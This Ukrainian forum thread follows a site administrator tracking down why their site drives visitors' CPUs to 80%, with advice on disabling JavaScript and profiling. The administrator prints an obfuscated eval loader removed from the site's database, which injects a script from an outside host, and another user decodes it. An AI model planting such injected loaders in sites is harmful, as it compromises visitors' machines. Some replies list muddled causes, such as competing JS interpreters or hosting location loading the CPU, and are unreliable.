Тема: Як визначити чому сайт грузить процесор?
Сайт грузить процесор компютера на 80%. Підкажіть будь ласка якими методами визначити, що за скріпт таке робить?
В ІЕ все норм.
Ви не увійшли. Будь ласка, увійдіть або зареєструйтесь.
Ласкаво просимо вас на україномовний форум з програмування, веб-дизайну, SEO та всього пов'язаного з інтернетом та комп'ютерами.
Будемо вдячні, якщо ви поділитись посиланням на Replace.org.ua на інших ресурсах.
Для того щоб створювати теми та надсилати повідомлення вам потрібно Зареєструватись.
Український форум програмістів → Системи керування контентом → Як визначити чому сайт грузить процесор?
Сторінки 1
Для відправлення відповіді ви повинні увійти або зареєструватися
Сайт грузить процесор компютера на 80%. Підкажіть будь ласка якими методами визначити, що за скріпт таке робить?
В ІЕ все норм.
Можливо ваш комп почав майнити криптовалюту, особливо якщо ви відвідували сайт Львівводоканалу
`
Сайт грузить процесор компютера на 80%. Підкажіть будь ласка якими методами визначити, що за скріпт таке робить?
В ІЕ все норм.
Напишіть тип процесора і материнської плати, а також постарайтеся відповісти на наступні питання.
1. Процесор вантажиться при роботі з будь-яким сайтом або з одним конкретним?
2. Процесор вантажиться при роботі з будь-яким браузером або з одним конкретним?
3. Яка версія OS?
4. Яка версія IE?
5. Яка версія JRE?
6. Скільки часу завантажується комп'ютер після включення живлення?
Smolenkov_BN, конкретно в цьому випадку все набагато простіше. В браузері достатньо відключити javascript і більше ніякий сайт не нагрузить процесор.
Я бачив багато сайтів, які грузять процесори (і навіть відеокарти) користувачів через javascript.
Хтось майнить криптовалюти, хтось проводить розподілені обчислення ...
Smolenkov_BN, конкретно в цьому випадку все набагато простіше. В браузері достатньо відключити javascript і більше ніякий сайт не нагрузить процесор.
Я бачив багато сайтів, які грузять процесори (і навіть відеокарти) користувачів через javascript.
Хтось майнить криптовалюти, хтось проводить розподілені обчислення ...
У MS Windows іноді спостерігаються проблеми з сайтами із-за неправильної організації доступу до WMI з вини драйверів або налаштування політики безпеки.
Напишіть тип процесора і материнської плати, а також постарайтеся відповісти на наступні питання.
1. Процесор вантажиться при роботі з будь-яким сайтом або з одним конкретним?
2. Процесор вантажиться при роботі з будь-яким браузером або з одним конкретним?
3. Яка версія OS?
4. Яка версія IE?
5. Яка версія JRE?
6. Скільки часу завантажується комп'ютер після включення живлення?
Це справа не в процесорі та материнці. Я перевіряв сайт на декілька компютерах, всюди нагрузка процегора зашкалювала.
Це проблема з одним конкретним сайтом, який я адмініструю.
Smolenkov_BN, конкретно в цьому випадку все набагато простіше. В браузері достатньо відключити javascript і більше ніякий сайт не нагрузить процесор.
Я бачив багато сайтів, які грузять процесори (і навіть відеокарти) користувачів через javascript.
Хтось майнить криптовалюти, хтось проводить розподілені обчислення ...
Відключити javascript в браузері допомогло. Попробую тепер знайти який саме скріпт таке робить.
Якщо щось зациклилося, скоріше за все ви потрапите саме в це місце, коли натиснете пазу в дебагері.
Відключити javascript в браузері допомогло. Попробую тепер знайти який саме скріпт таке робить.
У мене було приблизно близько 40 випадків, схожих на цей:
- браузери сторонніх виробників на деяких материнських платах азіатського походження під OS Windows навантажували процесор без коригування мережевих підключень (наприклад, FixCCS і KB953979 для Windows XP SP3);
- установка декількох інтерпретаторів JS (наприклад, Oracle Java і вбудованого у браузер) може викликати так звану "гонку скриптів в одному вікні", яка навантажує процесор;
- сайт з протоколом HTTPS в українському домені UA припаркували на російському хостингу;
- для завантаження скриптів на сайті з протоколом HTTP використовуються зовнішні CDN з протоколом HTTPS, що може навантажувати процесор на деяких хостингах;
- і т.д., і т.п.
Оптимальний варіант OS для налаштування і перевірки працездатності CMS на хостингу - це не Windows, а швидкі NIX типу LPS, легко завантажувані з мобільного носія інформації (CD або USBFlash)
https://sites.google.com/site/linuxlablibrary/security
У Вашому випадку можна піти таким шляхом.
Запускаємо браузер Firefox.
Додаємо в нього плагин Firebug
http://getfirebug.com/
Відкриваємо панель Firebug.
Заходимо на сторінку з помилкою.
Натискаємо кнопку "Профілювати".
Чекаємо, поки вантажиться процесор.
Натискаємо кнопку ще раз.
Вивчаємо список виконуваних функцій з невеликою статистикою по кожній.
Якщо видимих помилок немає, то вирішення проблеми в цілому:
перейти на GET/POST запити і не робити рендеринг сторінки у браузері.
`
leofun01 написав:Я бачив багато сайтів, які грузять процесори (і навіть відеокарти) користувачів через javascript.
Наведіть мені, будь-ласка, приклади сайтів, які грузять відеокарти.
На сайті можуть використовуватися Canvas, WebGL, Flash Player, Unity Web Player. Без спеціальних налаштувань, всі вони використовують саме відеокарту, а не тільки ЦП.
Ця фігня грузила процесор: (почистив базу від цього і все гуд)
<script>// <![CDATA[
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('4 0=1.3(\'2\');0.5=\'//a.6/9\';1.8.7(0)',11,11,'elr|document|script|createElement|var|src|info|appendChild|head|TJ86kh|pokemgo'.split('|'),0,{}))
// ]]></script>
Не дуже шарю в js, топу підкажіть будь ласка:
Що конкретно робить цей скріп?
Змінювати всі паролі?
За допомогою http://jsnice.org/ отримав
функція явно формує щось для eval, і ніби не містить небезпечного коду. Спробую запустити:
"var elr=document.createElement('script');elr.src='//pokemgo.info/TJ86kh';document.head.appendChild(elr)"
оце і є реальний код - з pokemgo.info:
Знову jsnice:
Далі треба копати?
Наведіть мені, будь-ласка, приклади сайтів, які грузять відеокарти.
Мій улюблений: https://www.shadertoy.com/
Сторінки 1
Для відправлення відповіді ви повинні увійти або зареєструватися